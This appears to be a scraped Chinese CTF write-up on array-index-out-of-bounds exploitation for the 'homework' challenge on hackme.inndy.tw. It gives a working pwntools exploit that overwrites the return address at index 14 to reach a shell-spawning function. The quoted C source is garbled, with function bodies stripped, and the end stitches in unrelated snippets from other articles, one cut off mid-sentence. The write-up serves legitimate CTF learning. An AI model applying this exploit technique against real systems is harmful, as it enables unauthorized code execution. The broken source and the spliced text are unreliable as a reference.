陣列下標越界

2021-08-18 06:32:39 字數 1604 閱讀 6001

原理:因為c語言不會檢測陣列下標,所以如果我們給陣列乙個超出它大小的下標,就會照成陣列越界。如果是想陣列中寫入資料的話,就會造成資料寫入到不屬於陣列的地方,或者說如果讀取資料的話,就會讀取到別的地方的資料。

因為陣列位址是自低往高增長,而棧的位址是自高向下降低,所以如果我們將陣列下標根據棧內的空間的分布,設定為特定的值,就可以修改或者是檢視我們想要檢視的位址的值。比如將返回位址設定成我們想要呼叫函式的位址。

具體可以看一下這篇部落格:

題目:homework (hackme.inndy.tw)

hint: index out  bound ,return address ,並且給了程式原始碼

題目防護機制:

開啟了nx和canary

原始碼為:

#include #include #include char name[1024];

void call_me_maybe()

void unbuffer_io()

void set_timeout()

void ask_name()

void say_goodbye()

void run_program()

}}int main()

程式邏輯:

程式要求輸入乙個使用者名稱,然後就執行run_program函式 

我們可以輸入乙個陣列下標和值來改變陣列的值

原始碼裡有個函式呼叫了system函式,結合hint中的retrunaddress 可以猜測是要將返回位址覆蓋成call_me_maybe這個函式的位址 來獲取shell

因為題目開啟了canary ,所以不能直接棧溢位來覆蓋返回位址

hint 還給了index out bound 

結合題目原始碼沒有對陣列下標進行限制,所以我們可以用陣列越界來修改返回位址

陣列在棧中的位置是0x34,和返回位址的距離是0x34+8

所以輸入的陣列下標為14 

exp:

from pwn import*

context.log_level="debug"

#p = process('./homework')

p = remote('hackme.inndy.tw', 7701)

p.recvuntil("what's your name?")

p.sendline('aaaa')

p.recvuntil(" > ")

p.sendline("1")

p.recv()

p.sendline("14")

p.recvuntil("how many?")

p.sendline(str(0x080485fb))

p.sendline("0")#make program return to target function

p.interactive()

C陣列下標越界

之前總聽說c語言的各種毛病,今天算是遇到乙個 陣列下標越界 兩段完成不相干的 一段是測溫度的,一段是測轉速的。兩段 單獨執行都沒有問題,但是若執行測轉速的 測溫度的資料就會發生錯誤。一步檢視,發現執行測轉速之後,測溫度的 中的乙個變數和乙個資料的值就會發生詭異的錯誤 陣列下標越界 這個越界非常不明顯...

搬運 C 下標越界後

搬運 因為原來的部落格要關,所以從原來的部落格搬運過來。最近遇到乙個很奇怪的問題,在arm linux下發現乙個bug,用windows版驗證也有這個問題,後來查到原因是下標錯了,多加了1,後來修復了這個bug。可是測試人員在驗證新版本時告訴我,原版本沒有這個問題。後來了解到,該測試人員測試的額x8...

關於C語言的陣列賦值和陣列下標越界問題

陣列名就代表著該陣列的首位址,後面的所有元素都可以根據陣列名加上偏移量取到。第乙個小例子 程式設計實現顯示使用者輸入的月份 不考慮閏年 擁有的天數。include define months 12 intmain int month 1 12 dowhile month 1 month 12 處理不...